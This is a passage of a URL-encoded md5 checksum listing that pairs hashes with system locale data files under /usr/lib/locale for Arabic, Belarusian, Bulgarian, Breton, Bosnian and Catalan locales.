b%2Flocale%2Far_SA%2FLC_TIME%0A29e7dc8141371e6ea8a27e0b46b8b3be%20%20%2Fusr%2Flib%2Flocale%2Far_SA%2FLC_MEASUREMENT%0A2d8839a1e0a327112b30e6ab3207f77e%20%20%2Fusr%2Flib%2Flocale%2Far_SA%2FLC_CTYPE%0A6698ec2c89235f7b3155de177cd1dd58%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_IDENTIFICATION%0A669850f25a4d02927ee893fc3c586fb0%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_COLLATE%0Ada18d7fd99a29523a9704bf43e9a4875%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ac32a48b10d540fb5e43cb7ac11301631%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_TELEPHONE%0A32a57930cf03d4eefd39ab11a4562746%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_MONETARY%0A14bffc89141d07b15bbee541902befe6%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_NUMERIC%0A9107b12cdcb6fa7b9da7638e48c8136e%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Far_SA.utf8%2FLC_CTYPE%0A1b5156ab5138cd80f1b9ec7ad9d92024%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5f14d1ae4f722254cd6eb74033cadd32%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_TIME%0Af495faaf1e2bf74fbd28b6e0955581b3%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_IDENTIFICATION%0Aef205293373aa89e7bfc7743cbb3caff%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_TELEPHONE%0Acc2f153d19705138e04fbf7458fb9b34%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_MONETARY%0A29e7dc8141371e6ea8a27e0b46b8b3be%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_MEASUREMENT%0A289bbb4b070bfad694ed5c6eee0cb67a%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_PAPER%0Aa5016d1a5b9638fc9ae5db7f65ac1802%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_NUMERIC%0Af9effaecc7a4e848b0b0fdb550494eed%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_NAME%0A2d8839a1e0a327112b30e6ab3207f77e%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_CTYPE%0Afbd89845e65a5bc70dd66ac68ec7faca%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_COLLATE%0Ae96a9b11fabb97de0af36fd4c7131321%20%20%2Fusr%2Flib%2Flocale%2Far_SD%2FLC_ADDRESS%0Aa257b488562ddd197998ad588b7cbe3c%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9126025268fa5d6d4babfb899c42a78a%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_TIME%0Aa9d2e07826a8f59336a476d5fdbebf0f%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_IDENTIFICATION%0Ab51330dc04a5b1cdde75314474fd60e8%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_TELEPHONE%0A0867f708e5b0292c47768bce635a0e3f%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_PAPER%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_NUMERIC%0A30c4c68049d06b4f2f47ee7dc81699ca%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_NAME%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Far_SD.utf8%2FLC_ADDRESS%0A1b5156ab5138cd80f1b9ec7ad9d92024%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2b25eec42f36af5bc805486aef809414%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_TIME%0A372a4a9cad0fc02e0b983d18c06452c2%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_IDENTIFICATION%0Ab6a9c447bf27d042e51e328d915c5e97%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_TELEPHONE%0A77a35e21744a2125e073f42624f5efce%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_MONETARY%0A29e7dc8141371e6ea8a27e0b46b8b3be%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_MEASUREMENT%0A289bbb4b070bfad694ed5c6eee0cb67a%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_PAPER%0Aa5016d1a5b9638fc9ae5db7f65ac1802%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_NUMERIC%0Af9effaecc7a4e848b0b0fdb550494eed%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_NAME%0A2d8839a1e0a327112b30e6ab3207f77e%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_CTYPE%0Afbd89845e65a5bc70dd66ac68ec7faca%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_COLLATE%0Ae96a9b11fabb97de0af36fd4c7131321%20%20%2Fusr%2Flib%2Flocale%2Far_SY%2FLC_ADDRESS%0Aa257b488562ddd197998ad588b7cbe3c%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A057fc722623e31a8ffb5ad14a54e8d61%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_TIME%0Ad4ad08a70ad0f8380150e1ad98841614%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_IDENTIFICATION%0A43cd9db3b08774e5981d7bd987e6cb11%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_TELEPHONE%0Adbe404ae1cd6e493bf6e5d96249d97bb%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_PAPER%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_NUMERIC%0A30c4c68049d06b4f2f47ee7dc81699ca%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_NAME%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Far_SY.utf8%2FLC_ADDRESS%0A71f415d84d6e7f9882469f0fca4cbf5b%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5f14d1ae4f722254cd6eb74033cadd32%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_TIME%0A9f22b0ac37dc5905de7e822c8533d909%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_IDENTIFICATION%0A0a0fdf9c5e4c4366763af97cee7d7345%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_TELEPHONE%0A4d5f57535bd54949f4000d7d4166702a%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_MONETARY%0A29e7dc8141371e6ea8a27e0b46b8b3be%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_MEASUREMENT%0A289bbb4b070bfad694ed5c6eee0cb67a%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_PAPER%0Aa5016d1a5b9638fc9ae5db7f65ac1802%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_NUMERIC%0Af9effaecc7a4e848b0b0fdb550494eed%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_NAME%0A2d8839a1e0a327112b30e6ab3207f77e%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_CTYPE%0Afbd89845e65a5bc70dd66ac68ec7faca%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_COLLATE%0Ae96a9b11fabb97de0af36fd4c7131321%20%20%2Fusr%2Flib%2Flocale%2Far_TN%2FLC_ADDRESS%0Afab2a8c0d165cac3a4f1553188d78287%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9126025268fa5d6d4babfb899c42a78a%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_TIME%0A93ba246e36fecd0319a1acca5b667a81%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_IDENTIFICATION%0Aa32cda5717f1e62ebac3dc0984cc82b6%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_TELEPHONE%0A4d2bc06b559b4c04a3ce0e0ff81b3207%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_PAPER%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_NUMERIC%0A30c4c68049d06b4f2f47ee7dc81699ca%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_NAME%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Far_TN.utf8%2FLC_ADDRESS%0A71f415d84d6e7f9882469f0fca4cbf5b%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5f14d1ae4f722254cd6eb74033cadd32%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_TIME%0Ad215ed5cb2f60857428402a88ddf36e2%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_IDENTIFICATION%0A88b3c8e855413641bf371917bfb8713f%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_TELEPHONE%0Ab4fe4a60ade6d90b6ab4869401645dee%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_MONETARY%0A29e7dc8141371e6ea8a27e0b46b8b3be%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_MEASUREMENT%0A289bbb4b070bfad694ed5c6eee0cb67a%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_PAPER%0Aa5016d1a5b9638fc9ae5db7f65ac1802%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_NUMERIC%0Af9effaecc7a4e848b0b0fdb550494eed%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_NAME%0A2d8839a1e0a327112b30e6ab3207f77e%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_CTYPE%0Afbd89845e65a5bc70dd66ac68ec7faca%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_COLLATE%0Ae96a9b11fabb97de0af36fd4c7131321%20%20%2Fusr%2Flib%2Flocale%2Far_YE%2FLC_ADDRESS%0Afab2a8c0d165cac3a4f1553188d78287%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9126025268fa5d6d4babfb899c42a78a%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_TIME%0A1480c2df0bbec86e660ceb2448d81538%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_IDENTIFICATION%0Ab6dcfdf8dbf6b345582b07ea4f1902a4%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_TELEPHONE%0A082b072499c9b9754ce91f628840c09e%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_PAPER%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_NUMERIC%0A30c4c68049d06b4f2f47ee7dc81699ca%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_NAME%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Far_YE.utf8%2FLC_ADDRESS%0Ace5e42447cb985875250b8d913d232ee%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_IDENTIFICATION%0Ab38049148799701cb31da78f841d78fa%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_COLLATE%0A5a5d4541b8be13a2ca0663a9867e7307%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A462f479f6e7a528639e96835b01aa0b4%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_TELEPHONE%0A8087070d0e6e8dc8d7b48b6f5dc7c4e4%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_MONETARY%0A5e43af8716331036d02062d7bde293c2%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_NUMERIC%0A80afbf736147f20d05a1d167344819e2%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_PAPER%0Aa1a333e992e09cadd7613e31c3b89dfc%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_TIME%0Acceb2d214187622e04078bb394a67ab1%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_MEASUREMENT%0A2912ce2133aab4e56165c043e35d55e7%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_NAME%0Ac4a87a0bdbd1d011f3486914d00410f0%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_CTYPE%0A358baff64357537ab5afa7b14adbadad%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY%2FLC_ADDRESS%0A2dde2fe2b873a7b670db180a1b5d8f3c%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2a9400a33b8ce4caa534a479ec71a9d7%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_TIME%0Afc80c10cac55c068c2b699ffcb3c9d2a%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_IDENTIFICATION%0Ac06a5d05a31e4c1177c6c78ac19df630%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_TELEPHONE%0A1628bdc659e31fe4ee3f5017ef034fe0%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_MEASUREMENT%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_NUMERIC%0Ab83f5bdeca0c367c2dcc8f3f708e07b8%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fbe_BY.utf8%2FLC_CTYPE%0A9892596da6e279c666477208cbdd1f76%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_IDENTIFICATION%0A1a4216e9bc50d43883f456fb6c73adf0%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_COLLATE%0A5a5d4541b8be13a2ca0663a9867e7307%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa32d4836c9f65105052dada0ffa76cef%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_TELEPHONE%0A35a720f218ffc638a68efcb9ca6deed5%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_MONETARY%0A828846ad1eea89d7241925052fc0c140%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_NUMERIC%0A80afbf736147f20d05a1d167344819e2%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_PAPER%0Afa39161226a56b99be0a315380ae94ec%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_TIME%0Acceb2d214187622e04078bb394a67ab1%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_MEASUREMENT%0A2912ce2133aab4e56165c043e35d55e7%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_NAME%0Ac4a87a0bdbd1d011f3486914d00410f0%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_CTYPE%0A358baff64357537ab5afa7b14adbadad%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG%2FLC_ADDRESS%0Abe67126f044f922e850a20c1668713d6%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_IDENTIFICATION%0Adec4bc20cb4324d7c10ecbebd7765fbe%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_COLLATE%0A2dde2fe2b873a7b670db180a1b5d8f3c%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A5e7f03cfc769cc91762c04aef7dc1f59%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_TELEPHONE%0Aa76cd5e24aa1d7fd20a46a57c00a1f33%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_MONETARY%0A2ea22e9eeba7956968dfcc67417942b4%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_NUMERIC%0A57258047fe7d3acdb11f355130774262%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fbg_BG.utf8%2FLC_CTYPE%0A380b0975d2c364ceade8065c277b76e0%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_IDENTIFICATION%0Aa774a67bc3473bbcbdc8ed45dbe6b492%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_COLLATE%0A8298ba12928079f03db6e5223d730a5a%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abef80905507aed676f17b54760b79c7a%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_TELEPHONE%0Aadfcba8de33d64d867c621d3880c86c0%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_TIME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_NUMERIC%0Ababe18fb9eae0643a69f8e7848aa9f8b%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_MONETARY%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fbr_FR%2FLC_ADDRESS%0A6b6ce57dd0510ee5b50df2fc6df38ce7%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_IDENTIFICATION%0A1f141ab60c9d5333692e53cfb34f4ce5%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_COLLATE%0Ad2545bcc33631827fee74dc74f9145d3%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A685b4b35cd615b97ab8ff254f51765f7%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_TELEPHONE%0Ae2797a8f05cc8433ee0afe7acb3de295%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_MONETARY%0A9f0433753d11fa45ef41781a733b397d%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_PAPER%0A20b5838603071baa7def3841606f2f29%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_TIME%0A345396e85397d99eb778c78c9e230127%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_MEASUREMENT%0A58306a9719ddd8e8571a3a8613942b8a%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_NUMERIC%0Ab7314dd94bccc78bd7a61dfeae8cb406%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_NAME%0A9174f7d4132578f44edd640c13510279%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_CTYPE%0A5eacd696a4820a0de5e31f518a50a56a%20%20%2Fusr%2Flib%2Flocale%2Fbs_BA%2FLC_ADDRESS%0A61e01314a3b8835e3ada04d6ac298c0f%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A70121bd0f0e42f55f5488fd0f4f6f9c5%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_TIME%0A13a706e39c36f7b114044acdc68d4a55%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_IDENTIFICATION%0Af6ec6d523c3fde8db0553398621ae250%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_TELEPHONE%0Ac86bd2b8bf4caca0fd905a0bff2e09c6%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_MEASUREMENT%0Aa493f90653bb36e686ceb69c4277cb49%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_COLLATE%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_CTYPE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fca_ES%2FLC_ADDRESS%0A2d20cbd132f7d67579bb0a5b58a74fc2%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abe8ed6fdd48bc42f7e40549a4362d3b8%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_TIME%0A12f4b721a034b0c641cab1e1862ba340%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_TELEPHONE%0Ae140e2b45e0b9c59755f62c66b84db93%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%2FLC_CTYPE%0A2d20cbd132f7d67579bb0a5b58a74fc2%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abe8ed6fdd48bc42f7e40549a4362d3b8%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_TIME%0A68a8ef34a1ac7df5f0f9fae1d7b6658c%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_IDENTIFICATION%0A5ec365c96086da7afcbcde5b4b764418%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_TELEPHONE%0A15f5c08740829ac1a55e6a73c4d6802c%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_MEASUREMENT%0A3ae4a56ff88ab5dbc96932cd2be10055%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_NUMERIC%0A975dd575363cf2cccec59cec0036dcb4%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_COLLATE%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fca_ES.utf8%40euro%2FLC_CTYPE%0A18134e831f5f26da4fc63cecc96ef61e%20%